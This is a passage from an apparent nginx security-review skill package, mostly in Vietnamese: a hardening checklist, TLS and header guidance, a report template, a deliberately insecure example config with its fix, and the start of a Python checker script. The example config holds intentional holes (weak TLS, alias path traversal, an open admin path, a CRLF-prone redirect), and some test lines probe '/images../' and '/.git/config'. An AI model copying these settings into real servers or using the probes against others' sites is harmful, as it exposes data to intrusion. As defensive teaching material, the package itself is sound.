Mã thoát (exit code) 1 có nghĩa là có các phát hiện mức HIGH, 2 có nghĩa là không thể đọc hoặc phân tích cú pháp tệp (thông báo lỗi sẽ chỉ rõ dòng gặp sự cố).
### 3. Xác nhận và bổ sung các bước kiểm tra thủ công
Đọc từng phát hiện lỗi trong mối tương quan với bối cảnh của người dùng: việc có một CDN đứng trước sẽ làm thay đổi các phát hiện về TLS, một tuyến quản trị chỉ dùng nội bộ có thể đã được bảo vệ bởi tường lửa, một câu lệnh `return 404` có thể đã ẩn đường dẫn đó đi rồi. Sau đó, rà soát qua các mục kiểm tra thủ công trong `references/hardening-checklist.md` (các tệp được include, xác minh TLS ở phía upstream, các khối `if`, các bộ xử lý PHP, quyền truy cập tệp). Loại bỏ các cảnh báo dương tính giả (false positives) và giải thích rõ lý do.
### 4. Bàn giao kết quả
Điền vào `templates/review-report.md`: ưu tiên các mục mức HIGH lên đầu, đưa ra bản so sánh khác biệt (diff) tối giản của cấu hình, cùng các bước kiểm thử. Luôn giải thích quy tắc kế thừa của `add_header` bất cứ khi nào lỗi ADD_HEADER_INHERITANCE xuất hiện, bởi vì quy tắc này gây bất ngờ cho hầu hết mọi người. Khi mới bắt đầu áp dụng HSTS cho một trang web chưa từng dùng nó trước đây, hãy đề xuất mức `max-age` ngắn trước.
## Kết quả ví dụ
Đối với `examples/shop-site.conf`: 3 lỗi mức HIGH (bật TLS 1.0/1.1, dùng các bộ mã hóa RC4 và 3DES, khối `location /images` dùng `alias .../images/` cho phép tấn công duyệt đường dẫn qua `/images../`), 6 lỗi mức MEDIUM (kích thước phần thân yêu cầu không giới hạn, cổng 80 trực tiếp trả về nội dung thay vì chuyển hướng, bật autoindex trên `/downloads/`, đường dẫn `/api/` làm mất HSTS và nosniff do tự đặt `add_header` riêng, đường dẫn `/admin/` không được bảo vệ, dùng biến `$uri` trong lệnh chuyển hướng), 8 lỗi mức LOW (server_tokens, các tệp ẩn bắt đầu bằng dấu chấm - dotfiles, thiếu CSP/Referrer-Policy/X-Frame-Options, các tiêu đề proxy, không giới hạn tần suất truy cập trên `/api/auth/login`) và 1 mục mức INFO. Tệp `examples/shop-site-fixed.conf` thể hiện các bản sửa lỗi và vượt qua bước kiểm tra `nginx -t`.
## Quy tắc
- Trích dẫn chính xác dòng bị lỗi và nội dung thay thế chính xác; giữ cho các thay đổi ở mức tối thiểu và bảo toàn nguyên vẹn chức năng định tuyến.
- Luôn kết thúc bằng câu lệnh `sudo nginx -t && sudo systemctl reload nginx` cùng một lệnh kiểm tra bằng curl; tuyệt đối không đề xuất khởi động lại (restart) làm đứt kết nối khi chỉ cần nạp lại (reload) là đủ.
- Không tự bịa ra các chỉ thị (directives): hãy đối chiếu tên chỉ thị với tài liệu chính thức của nginx tương ứng với phiên bản của người dùng (ví dụ: `http2 on;` yêu cầu phiên bản 1.25.1 trở lên, các phiên bản cũ hơn sử dụng `listen 443 ssl http2;`).
- Tuyệt đối không yêu cầu hoặc lặp lại các khóa bí mật (private keys), mật khẩu hoặc mã băm htpasswd.
- Hãy coi việc áp dụng các tiêu đề bảo mật như CSP là một lộ trình triển khai từng bước: đề xuất dùng `Content-Security-Policy-Report-Only` trước đối với các ứng dụng phức tạp.
FILE:references/hardening-checklist.md
# Danh Sách Kiểm Tra Gia Cố Bảo Mật Nginx
Mọi mã lỗi mà kịch bản in ra, lý do tại sao nó quan trọng và cách khắc phục. Mức độ nghiêm trọng dưới đây là mức mặc định; hãy nâng lên hoặc hạ xuống tùy theo bối cảnh thực tế.
## HIGH (Cao)
### OLD_TLS_PROTOCOL
Chỉ thị `ssl_protocols` có liệt kê SSLv3, TLSv1 hoặc TLSv1.1. Các giao thức này đã bị loại bỏ (RFC 8996), không đạt chuẩn PCI DSS và cho phép thực hiện các cuộc tấn công hạ cấp (downgrade attacks). Cách khắc phục: đặt `ssl_protocols TLSv1.2 TLSv1.3;` (đây là giá trị mặc định kể từ phiên bản nginx 1.23.4, vì vậy việc xóa dòng này đi cũng có tác dụng tương tự trên các phiên bản mới). Chỉ những trình khách (clients) quá cũ (như Android 4.3, IE trên Windows 7 chưa cập nhật) mới bị mất quyền truy cập.
### WEAK_CIPHERS
Chỉ thị `ssl_ciphers` cho phép các bộ mã hóa RC4, DES/3DES (lỗ hổng SWEET32), MD5, NULL, EXPORT hoặc ẩn danh (aNULL/ADH). Các mục bắt đầu bằng dấu `!` hoặc `-` là các quy tắc loại trừ nên hoàn toàn hợp lệ. Cách khắc phục: sử dụng danh sách "intermediate" (trung cấp) của Mozilla từ trang ssl-config.mozilla.org hoặc xóa bỏ dòng `ssl_ciphers` để sử dụng cấu hình mặc định của OpenSSL, đồng thời đặt `ssl_prefer_server_ciphers off;` khi chỉ còn lại các bộ mã hóa AEAD hiện đại.
### NO_CERTIFICATE
Một khối server lắng nghe với tham số `ssl` nhưng lại không thiết lập `ssl_certificate` bên trong nó hoặc trong khối http. Khi đó nginx sẽ từ chối khởi động hoặc làm thất bại quá trình bắt tay (handshake). Hãy thêm `ssl_certificate` (chuỗi chứng chỉ đầy đủ - full chain) và `ssl_certificate_key`.
### ALIAS_TRAVERSAL (lệch dấu gạch chéo - off-by-slash)
`location /images { alias /var/www/media/images/; }`: một yêu cầu truy cập tới `/images../secret.txt` sẽ được ánh xạ thành `/var/www/media/images/../secret.txt`, khiến cho các tệp nằm ở thư mục cha ngay phía trên đường dẫn alias có thể bị đọc trái phép (một phát hiện rất phổ biến trong nhiều cuộc kiểm toán bảo mật). Cách khắc phục: đảm bảo cả đường dẫn trong location và đường dẫn trong alias đều kết thúc bằng dấu gạch chéo, tức là `location /images/ { alias /var/www/media/images/; }`, hoặc sử dụng chỉ thị `root` khi đường dẫn URL trùng khớp với tên thư mục trên đĩa.
## MEDIUM (Trung bình)
### HTTP_NO_REDIRECT
Một khối server ở cổng 80 có cùng `server_name` với một khối server HTTPS nhưng lại trực tiếp phục vụ các trang web thay vì chuyển hướng người dùng. Khi đó người dùng và dữ liệu cookie vẫn nằm trên kết nối HTTP thuần không mã hóa. Cách khắc phục:
```
server {
listen 80;
server_name shop.example.com;
location /.well-known/acme-challenge/ { root /var/www/certbot; }
location / { return 301 https://$host$request_uri; }
}
```
### NO_HSTS
Không có tiêu đề `Strict-Transport-Security` trên máy chủ HTTPS, dẫn đến việc yêu cầu đầu tiên của một phiên truy cập có thể bị tấn công hạ cấp xuống HTTP. Xem tệp `tls-and-headers.md` để biết lộ trình triển khai an toàn.
### ADD_HEADER_INHERITANCE
nginx chỉ kế thừa các chỉ thị `add_header` từ cấp cha khi cấp hiện tại hoàn toàn không có bất kỳ chỉ thị `add_header` nào. Chỉ cần một dòng `add_header Cache-Control no-store;` bên trong khối `location /api/` cũng sẽ làm mất sạch mọi tiêu đề bảo mật được khai báo ở khối `server` đối với location đó. Cách khắc phục: lặp lại đầy đủ các tiêu đề bảo mật bên trong location đó, hoặc tách chúng ra một tệp đoạn mã riêng (`include snippets/security-headers.conf;`) và include tệp này vào mọi khối có sử dụng `add_header` riêng. Trên phiên bản nginx 1.29.3 trở lên, việc đặt `add_header_inherit merge;` trong khối http sẽ giúp các khối con cộng gộp thêm vào các tiêu đề của khối cha thay vì ghi đè toàn bộ. Lưu ý rằng `proxy_set_header`, `fastcgi_param` và `proxy_hide_header` cũng tuân theo đúng quy tắc kế thừa này.
### AUTOINDEX_ON
Tính năng liệt kê thư mục làm hiển thị tên của mọi tệp tin, bao gồm cả các bản sao lưu (backups) và các tệp kết xuất dữ liệu (exports) mà không ai chèn liên kết tới. Hãy tắt tính năng này đi hoặc thiết lập cơ chế bảo vệ cho location đó.
### ADMIN_OPEN
Các đường dẫn như /admin, /phpmyadmin, /actuator, /server-status, /nginx_status hoặc /metrics không được thiết lập quy tắc allow/deny, auth_basic hoặc auth_request. Cách khắc phục: thêm `allow 10.20.0.0/16; deny all;` (dải mạng văn phòng hoặc VPN), hoặc dùng `auth_request` trỏ tới dịch vụ đăng nhập một lần (SSO). Chỉ sử dụng xác thực cơ bản (Basic auth) qua kết nối HTTPS.
### UNLIMITED_BODY
Thiết lập `client_max_body_size 0` sẽ vô hiệu hóa giới hạn kích thước yêu cầu gửi lên, khiến kẻ tấn công dễ dàng làm cạn kiệt dung lượng đĩa và bộ nhớ. Hãy giữ mức mặc định 1m hoặc đặt một mức giới hạn thực tế trong khối http, và chỉ nâng giới hạn này lên ở riêng location dùng để tải tệp lên (upload).
### URI_IN_REDIRECT
Biến `$uri` đã được chuẩn hóa và giải mã URL (URL-decoded), vì vậy chuỗi `%0d%0a` sẽ biến thành ký tự xuống dòng thực sự và kẻ tấn công có thể chèn các tiêu đề (`Set-Cookie`) vào phản hồi chuyển hướng (HTTP response splitting / header injection). Hãy sử dụng biến `$request_uri` (dòng yêu cầu thô, vẫn còn nguyên mã hóa URL) trong các lệnh `return`, đích đến của `rewrite` và `add_header`.
## LOW (Thấp)
### SERVER_TOKENS
Số phiên bản xuất hiện trong tiêu đề `Server` và trên các trang báo lỗi, giúp kẻ tấn công dễ dàng đối chiếu với các lỗ hổng CVE đã biết. Hãy đặt `server_tokens off;` trong khối http.
### MISSING_SECURITY_HEADERS
Trên các máy chủ HTTPS: thiếu `X-Content-Type-Options nosniff`, `X-Frame-Options` (hoặc CSP `frame-ancestors`), `Content-Security-Policy`, `Referrer-Policy`. Hãy thêm chúng kèm theo tham số `always` để các tiêu đề này cũng được gửi đi trong cả các phản hồi lỗi 4xx/5xx.
### SHORT_HSTS
Giá trị `max-age` của HSTS ngắn hơn 180 ngày. Mức này hoàn toàn ổn trong giai đoạn mới triển khai thử nghiệm; hãy nâng nó lên mức một năm sau khi đã chạy ổn định.
### DOTFILES_EXPOSED
Máy chủ phục vụ các tệp tĩnh nhưng lại không có quy tắc chặn các tệp ẩn bắt đầu bằng dấu chấm, dẫn đến việc các tệp như `/.git/config`, `/.env` hoặc `/.htpasswd` có thể bị tải xuống nếu chúng tồn tại bên dưới thư mục gốc của web (web root). Cách khắc phục: thêm `location ~ /\.(?!well-known) { deny all; }` (vẫn giữ cho các yêu cầu xác thực chứng chỉ ACME hoạt động bình thường).
### NO_RATE_LIMIT
Một đường dẫn đăng nhập, xác thực hoặc cấp phát token không được áp dụng `limit_req`. Hãy khai báo một vùng nhớ (zone) trong khối http và áp dụng nó vào location tương ứng; trả về mã lỗi 429 bằng chỉ thị `limit_req_status 429;`.
### PROXY_HEADERS
Một khối location dùng `proxy_pass` nhưng không gửi kèm các tiêu đề Host, X-Forwarded-For và X-Forwarded-Proto, khiến ứng dụng phía sau ghi nhật ký nhầm địa chỉ IP của máy chủ proxy, tạo sai các URL chuyển hướng và có thể hiểu nhầm các yêu cầu HTTPS là HTTP. Hãy nhớ quy tắc kế thừa: chỉ cần một dòng `proxy_set_header` trong khối location cũng sẽ thay thế toàn bộ các dòng `proxy_set_header` được kế thừa từ cấp trên.
## INFO (Thông tin)
### INCLUDE_NOT_FOLLOWED
Kịch bản chỉ đọc những tệp mà bạn truyền trực tiếp vào. Hãy yêu cầu kết quả của lệnh `nginx -T` hoặc các tệp được đính kèm qua lệnh include.
## Kiểm tra thủ công (không tự động hóa)
- `proxy_pass https://...` trỏ tới một máy chủ upstream ngoài internet mà không bật `proxy_ssl_verify on;` và `proxy_ssl_trusted_certificate`.
- PHP: khối `location ~ \.php$` bắt buộc phải sử dụng `try_files $uri =404;` (hoặc `fastcgi_split_path_info` kèm theo bước kiểm tra) để các tệp hình ảnh do người dùng tải lên không thể bị thực thi như mã PHP; các thư mục chứa tệp tải lên tuyệt đối không bao giờ được chuyển tiếp sang bộ xử lý PHP.
- Dùng câu lệnh `if` bên trong khối location với bất kỳ chỉ thị nào khác ngoài `return` hoặc `rewrite ... last` (nguyên tắc nổi tiếng "if is evil").
- Các khối `default_server`: một yêu cầu có tiêu đề Host lạ không xác định nên nhận về `return 444;` kèm chứng chỉ tự ký hoặc bật `ssl_reject_handshake on;` (từ bản 1.19.4 trở lên) thay vì rơi vào trang web đầu tiên trong cấu hình.
- Quyền truy cập tệp (Permissions): các tiến trình worker của nginx không được phép có quyền ghi vào thư mục gốc của web (web root); các khóa bí mật (private keys) phải đặt `chmod 600` và thuộc quyền sở hữu của root.
- Tiêu đề kích thước lớn / các trình khách kết nối chậm (slow clients): cấu hình `client_body_timeout`, `client_header_timeout`, `large_client_header_buffers` cho các API công khai đang chịu tấn công.
- Ghi nhật ký (Logging): nhật ký truy cập (access logs) không được ghi lại các token nằm trong chuỗi truy vấn (query strings); hãy sử dụng một định dạng `log_format` tùy chỉnh nếu cần.
FILE:references/tls-and-headers.md
# TLS và Các Tiêu Đề Bảo Mật
## Thiết lập TLS vượt qua hầu hết các đợt kiểm toán (nginx 1.25+ với OpenSSL 1.1.1 hoặc 3.x)
```
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers off;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
```
Đây là cấu hình thuộc hồ sơ "intermediate" (trung cấp) của Mozilla. Các bộ mã hóa của TLS 1.3 không được đặt thông qua chỉ thị `ssl_ciphers` (OpenSSL tự xử lý chúng). Nếu giữ lại các bộ mã hóa DHE, hãy cung cấp thêm `ssl_dhparam` với độ dài tối thiểu 2048 bit hoặc loại bỏ các mục DHE khỏi danh sách.
Tính năng OCSP stapling (`ssl_stapling on; ssl_stapling_verify on;`) là tùy chọn; Let's Encrypt đã ngừng hỗ trợ OCSP vào năm 2025, vì vậy đừng thêm cấu hình này đối với các chứng chỉ của Let's Encrypt.
HTTP/2: dùng `http2 on;` bên trong khối server trên nginx 1.25.1 trở lên; các phiên bản cũ hơn sử dụng `listen 443 ssl http2;`.
## Lộ trình triển khai HSTS
1. Đảm bảo mọi tên miền phụ (subdomain) đều hoạt động tốt qua giao thức HTTPS.
2. Bắt đầu với thời hạn ngắn: `add_header Strict-Transport-Security "max-age=300" always;`
3. Sau một tuần chạy ổn định không phát sinh sự cố: nâng lên `max-age=31536000; includeSubDomains`.
4. Chỉ thêm tham số `preload` và gửi đăng ký lên trang hstspreload.org khi bạn đã hoàn toàn chắc chắn; việc gỡ bỏ khỏi danh sách preload sẽ mất đến hàng tháng trời.
Tiêu đề HSTS gửi trên các phản hồi HTTP thuần sẽ bị trình duyệt bỏ qua, vì vậy hãy đặt nó trên khối server cổng 443.
## Các tiêu đề bảo mật (Security headers)
| Tiêu đề | Giá trị điển hình | Ghi chú |
|---|---|---|
| X-Content-Type-Options | `nosniff` | Ngăn chặn hành vi tự động đoán kiểu MIME đối với các tệp tải lên |
| X-Frame-Options | `DENY` hoặc `SAMEORIGIN` | Chống tấn công Clickjacking; chỉ thị `frame-ancestors` của CSP là giải pháp tương đương hiện đại hơn |
| Content-Security-Policy | `default-src 'self'` và các quy tắc khác | Đặc thù theo từng ứng dụng; hãy triển khai thử nghiệm trước bằng `Content-Security-Policy-Report-Only` |
| Referrer-Policy | `strict-origin-when-cross-origin` | Giữ cho các đường dẫn và chuỗi truy vấn không bị lọt vào nhật ký của các trang web khác |
| Permissions-Policy | `camera=(), microphone=(), geolocation=()` | Tùy chọn |
Hãy thêm tham số `always` để các tiêu đề này luôn được gửi kèm trong cả những phản hồi báo lỗi.
## Quy tắc kế thừa của add_header
```
server {
add_header X-Content-Type-Options nosniff always; # A
location / { } # nhận được A
location /api/ {
add_header Cache-Control no-store; # CHỈ nhận được tiêu đề này, A bị mất
}
}
```
Một khối chỉ kế thừa các chỉ thị `add_header` từ khối cha của nó nếu bản thân nó không tự định nghĩa bất kỳ chỉ thị `add_header` nào. Hãy gom các tiêu đề dùng chung vào một tệp snippet và include tệp đó vào mọi khối có khai báo thêm tiêu đề riêng. Phiên bản nginx 1.29.3 (tháng 10 năm 2025) đã bổ sung chỉ thị `add_header_inherit merge;`, giúp các khối lồng bên trong cộng gộp thêm vào danh sách tiêu đề được kế thừa; hãy kiểm tra phiên bản bằng `nginx -v` trước khi đề xuất dùng nó (Debian 13 đi kèm bản 1.26).
## Kiểm thử
```
sudo nginx -t && sudo systemctl reload nginx
curl -sI https://shop.example.com/ | grep -iE 'strict|x-content|x-frame|content-security|referrer|server:'
curl -sI http://shop.example.com/page?x=1 # kỳ vọng mã 301 chuyển tới https://shop.example.com/page?x=1
curl -s -o /dev/null -w '%{http_code}\n' https://shop.example.com/.git/config # kỳ vọng mã 403 hoặc 404
curl -s -o /dev/null -w '%{http_code}\n' https://shop.example.com/images../ # kỳ vọng mã 404 sau khi sửa lỗi alias
openssl s_client -connect shop.example.com:443 -tls1_1 </dev/null # kỳ vọng quá trình bắt tay thất bại
```
Để kiểm tra toàn diện từ bên ngoài: sử dụng công cụ kiểm tra máy chủ của SSL Labs hoặc chạy `testssl.sh shop.example.com`.
FILE:templates/review-report.md
# Báo cáo rà soát bảo mật Nginx: <tên trang web hoặc máy chủ>
**Phiên bản:** <nginx 1.26.3, OpenSSL 3.x> **Vai trò:** <trang web tĩnh / reverse proxy trỏ tới Node trên cổng :3000 / PHP-FPM>
**Các tệp đã rà soát:** <đầu ra lệnh nginx -T, 2 tệp> **TLS được chấm dứt bởi:** <nginx / CDN / bộ cân bằng tải>
**Tóm tắt:** <một câu: vấn đề nghiêm trọng nhất và bản sửa lỗi sẽ thay đổi điều gì>
## Các phát hiện lỗi (Findings)
| # | Mức độ | Mã lỗi | Tệp:dòng | Vấn đề | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | HIGH | <ALIAS_TRAVERSAL> | <nginx.conf:51> | <location /images cho phép truy cập /images../> | <location /images/ { alias .../images/; }> |
| 2 | <MEDIUM> | <...> | <...> | <...> | <...> |
## Các mục giữ nguyên không thay đổi (kèm lý do)
- <ADMIN_OPEN trên /admin/: đã được giới hạn bởi tường lửa đám mây chỉ cho phép mạng VPN; có thêm deny all nữa hay không? có/không>
## Các thay đổi trong cấu hình
```diff
- ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
+ ssl_protocols TLSv1.2 TLSv1.3;
```
## Áp dụng và kiểm thử
1. Sao lưu: `sudo cp -a /etc/nginx /etc/nginx.bak-<ngày>`
2. Chỉnh sửa tệp, sau đó chạy `sudo nginx -t && sudo systemctl reload nginx`
3. Các bước kiểm tra:
- `curl -sI https://<host>/` hiển thị đầy đủ các tiêu đề bảo mật
- `curl -sI http://<host>/x?y=1` trả về mã 301 chuyển tới cùng đường dẫn đó trên giao thức https
- <các lệnh kiểm tra duyệt đường dẫn / tệp ẩn bắt đầu bằng dấu chấm / trang quản trị tương ứng với các phát hiện lỗi>
4. Khôi phục (Roll back): phục hồi lại bản sao lưu và nạp lại (reload) cấu hình.
## Các việc cần theo dõi tiếp (Follow-ups)
- <HSTS: nâng giá trị max-age lên 31536000 sau ngày <ngày>>
- <CSP: chuyển từ chế độ Report-Only sang chế độ bắt buộc thực thi (enforcing) sau khi đã rà soát các báo cáo>
FILE:examples/shop-site.conf
# /etc/nginx/nginx.conf for shop.example.com (single-file setup)
# A small online shop: static storefront, product images, a Node.js API on :3000
# and a legacy admin panel. Written in 2019, certificates renewed by certbot.
user www-data;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
sendfile on;
keepalive_timeout 65;
client_max_body_size 0;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers "HIGH:RC4-SHA:DES-CBC3-SHA:!aNULL";
ssl_prefer_server_ciphers on;
server {
listen 80;
server_name shop.example.com www.shop.example.com;
root /var/www/shop;
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
}
server {
listen 443 ssl;
http2 on;
server_name shop.example.com www.shop.example.com;
ssl_certificate /etc/letsencrypt/live/shop.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/shop.example.com/privkey.pem;
add_header Strict-Transport-Security "max-age=31536000" always;
add_header X-Content-Type-Options nosniff always;
root /var/www/shop;
index index.html;
location / {
try_files $uri $uri/ /index.html;
}
location /images {
alias /var/www/shop-media/images/;
}
location /downloads/ {
alias /var/www/shop-media/downloads/;
autoindex on;
}
location /api/ {
add_header Cache-Control "no-store";
proxy_pass http://127.0.0.1:3000;
}
location /api/auth/login {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
}
location /admin/ {
proxy_pass http://127.0.0.1:8080/;
}
location /old-blog {
return 301 https://blog.example.com$uri;
}
}
}
FILE:examples/shop-site-fixed.conf
# shop.example.com after the review: same routes, hardened.
# Shared security headers live in one snippet so locations with their own
# add_header can include it again (add_header is not inherited into a block
# that sets any add_header of its own).
user www-data;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
sendfile on;
keepalive_timeout 65;
server_tokens off;
client_max_body_size 10m;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
server {
listen 80;
server_name shop.example.com www.shop.example.com;
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
location / {
return 301 https://$host$request_uri;
}
}
server {
listen 443 ssl;
http2 on;
server_name shop.example.com www.shop.example.com;
ssl_certificate /etc/letsencrypt/live/shop.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/shop.example.com/privkey.pem;
# same lines as /etc/nginx/snippets/security-headers.conf
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options SAMEORIGIN always;
add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; frame-ancestors 'self'" always;
add_header Referrer-Policy strict-origin-when-cross-origin always;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
root /var/www/shop;
index index.html;
location ~ /\.(?!well-known) {
deny all;
}
location / {
try_files $uri $uri/ /index.html;
}
location /images/ {
alias /var/www/shop-media/images/;
}
location /downloads/ {
alias /var/www/shop-media/downloads/;
}
location /api/ {
add_header Cache-Control "no-store" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options SAMEORIGIN always;
add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; frame-ancestors 'self'" always;
add_header Referrer-Policy strict-origin-when-cross-origin always;
proxy_pass http://127.0.0.1:3000;
}
location /api/auth/login {
limit_req zone=login burst=5 nodelay;
proxy_pass http://127.0.0.1:3000;
}
location /admin/ {
allow 10.20.0.0/16;
deny all;
proxy_pass http://127.0.0.1:8080/;
}
location /old-blog {
return 301 https://blog.example.com$request_uri;
}
}
}
FILE:scripts/nginx_review.py
#!/usr/bin/env python3
"""Nginx config security reviewer (Python 3 standard library only).
Parses nginx.conf / sites-available files into a block tree and flags common
security and hardening problems: old TLS protocols, weak ciphers, missing HSTS
and security headers, the add_header inheritance trap, alias off-by-slash path
traversal, autoindex, unlimited body size, $uri in redirects (CRLF injection),
plain-HTTP servers without a redirect, open admin paths, login paths without
rate limiting, exposed dotfiles and proxies without forwarding headers.
Usage:
python3 nginx_review.py site.conf [more.conf ...] [--json]
python3 nginx_review.py --self-test
Exit codes: 0 = no HIGH findings, 1 = HIGH findings, 2 = unreadable/unparseable input.
"""
import argparse, json, re, sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2, "INFO": 3}
OLD_PROTOCOLS = {"SSLv2", "SSLv3", "TLSv1", "TLSv1.1"}
WEAK_CIPHER_WORDS = ["RC4", "DES", "3DES", "MD5", "NULL", "EXPORT", "EXP-", "aNULL", "eNULL", "ADH", "AECDH"]
SECURITY_HEADERS = {
"x-content-type-options": "X-Content-Type-Options nosniff",
"x-frame-options": "X-Frame-Options DENY or SAMEORIGIN (or CSP frame-ancestors)",
"content-security-policy": "Content-Security-Policy",
"referrer-policy": "Referrer-Policy strict-origin-when-cross-origin",
}
LOGIN_RE = re.compile(r"login|signin|sign-in|auth|token|password|wp-login", re.I)
ADMIN_RE = re.compile(r"admin|phpmyadmin|actuator|server-status|nginx_status|/metrics|wp-admin", re.I)
class ParseError(Exception):
pass
class Node:
def __init__(self, name, args, line, children=None):
self.name, self.args, self.line, self.children = name, args, line, children
def get(self, name):
return [c for c in (self.children or []) if c.name == name]
def first(self, name):
found = self.get(name)
return found[0] if found else None
def walk(self):
for c in self.children or []:
yield c
if c.children is not None:
yield from c.walk()
def tokenize(text):
tokens, i, line, n = [], 0, 1, len(text)
while i < n:
ch = text[i]
if ch == "\n":
line += 1; i += 1
elif ch.isspace():
i += 1
elif ch == "#":
while i < n and text[i] != "\n":
i += 1
elif ch in "{};":
tokens.append((ch, line, True)); i += 1
elif ch in "\"'":
q, j, buf = ch, i + 1, []
while j < n and text[j] != q:
if text[j] == "\\" and j + 1 < n:
buf.append(text[j + 1]); j += 2; continue
if text[j] == "\n":
line += 1
buf.append(text[j]); j += 1
if j >= n:
raise ParseError(f"line {line}: unterminated quote")
tokens.append(("".join(buf), line, False)); i = j + 1
else:
j = i
while j < n and not text[j].isspace() and text[j] not in "{};":
if text[j] == "$" and j + 1 < n and text[j + 1] == "{": # var
k = text.find("}", j)
j = k + 1 if k != -1 else n
continue
j += 1
tokens.append((text[i:j], line, False)); i = j
return tokens
def parse(text):
tokens = tokenize(text)
root = Node("main", [], 0, [])
stack, cur = [root], []
for tok, line, special in tokens:
if special and tok == ";":
if not cur:
continue
stack[-1].children.append(Node(cur[0][0], [t for t, _ in cur[1:]], cur[0][1]))
cur = []
elif special and tok == "{":
if not cur:
raise ParseError(f"line {line}: '{{' without a directive name")
node = Node(cur[0][0], [t for t, _ in cur[1:]], cur[0][1], [])
stack[-1].children.append(node); stack.append(node); cur = []
elif special and tok == "}":
if cur:
raise ParseError(f"line {line}: missing ';' before '}}'")
if len(stack) == 1:
raise ParseError(f"line {line}: unexpected '}}'")
stack.pop()
else:
cur.append((tok, line))
if cur:
raise ParseError(f"line {cur[0][1]}: directive '{cur[0][0]}' not terminated with ';'")
if len(stack) != 1:
raise ParseError(f"block '{stack[-1].name}' opened on line {stack[-1].line} is not closed")
return root
def headers_of(node):
return {d.args[0].lower(): d for d in node.get("add_header") if d.args}
def is_tls(server):
for l in server.get("listen"):
if "ssl" in l.args or "quic" in l.args or any(a.endswith(":443") or a == "443" for a in l.args):
return True
s = server.first("ssl")
return bool(s and s.args and s.args[0] == "on")
def listens_plain(server):
ls = server.get("listen")
if not ls:
return True # default listen *:80
for l in ls:
if not ("ssl" in l.args or "quic" in l.args or any(a.endswith(":443") or a == "443" for a in l.args)):
return True
return False
def names(server):
out = []
for d in server.get("server_name"):
out.extend(d.args)
return set(out) or {"_"}
def inherited(scopes, name):
"""Value of a directive as nginx inherits it: innermost scope that sets it."""
for s in reversed(scopes):
d = s.first(name)
if d is not None:
return d
return None
def effective_headers(scopes):
for s in reversed(scopes):
h = headers_of(s)
if h:
return h
return {}
def review(text, fname="nginx.conf"):
root = parse(text)
http = root.first("http")
top = http if http is not None else root
base = [root] + ([http] if http is not None else [])
servers = [s for s in top.get("server")]
findings = []
def add(sev, code, line, msg, fix):
findings.append({"severity": sev, "code": code, "file": fname, "line": line, "message": msg, "fix": fix})
for d in root.walk():
if d.name == "include":
add("INFO", "INCLUDE_NOT_FOLLOWED", d.line, f"include {' '.join(d.args)} is not read by this checker",
"Review the included files too (pass them as extra arguments) or paste `nginx -T` output.")
tokens = [d for d in root.walk() if d.name == "server_tokens"]
if not any(d.args and d.args[0] == "off" for d in tokens):
add("LOW", "SERVER_TOKENS", (http or root).line, "server_tokens is not off, so error pages and the Server header show the nginx version",
"Add `server_tokens off;` in the http block.")
tls_names = set()
for s in servers:
if is_tls(s):
tls_names |= names(s)
for s in servers:
scopes = base + [s]
label = " ".join(sorted(names(s)))
tls = is_tls(s)
if tls:
if inherited(scopes, "ssl_certificate") is None:
add("HIGH", "NO_CERTIFICATE", s.line, f"TLS server {label} has no ssl_certificate in scope",
"Add ssl_certificate and ssl_certificate_key (fullchain + key).")
proto = inherited(scopes, "ssl_protocols")
if proto is not None:
old = [p for p in proto.args if p in OLD_PROTOCOLS]
if old:
add("HIGH", "OLD_TLS_PROTOCOL", proto.line, f"{label}: ssl_protocols enables {', '.join(old)}",
"Use `ssl_protocols TLSv1.2 TLSv1.3;` (SSLv3/TLS 1.0/1.1 are deprecated, RFC 8996).")
ciph = inherited(scopes, "ssl_ciphers")
if ciph is not None and ciph.args:
parts = re.split(r"[:\s]+", " ".join(ciph.args))
weak = sorted({w for p in parts if p and not p.startswith("!") and not p.startswith("-")
for w in WEAK_CIPHER_WORDS if w.lower() in p.lower()})
if weak:
add("HIGH", "WEAK_CIPHERS", ciph.line, f"{label}: ssl_ciphers allows weak suites ({', '.join(weak)})",
"Use the Mozilla 'intermediate' cipher list, or remove ssl_ciphers to use the safe OpenSSL default.")
hdrs = effective_headers(scopes)
if "strict-transport-security" not in hdrs:
add("MEDIUM", "NO_HSTS", s.line, f"TLS server {label} sends no Strict-Transport-Security header",
'Add `add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;` (start with a short max-age).')
else:
hsts = hdrs["strict-transport-security"]
m = re.search(r"max-age=(\d+)", " ".join(hsts.args), re.I)
if m and int(m.group(1)) < 15552000:
add("LOW", "SHORT_HSTS", hsts.line, f"{label}: HSTS max-age {m.group(1)} is under 180 days",
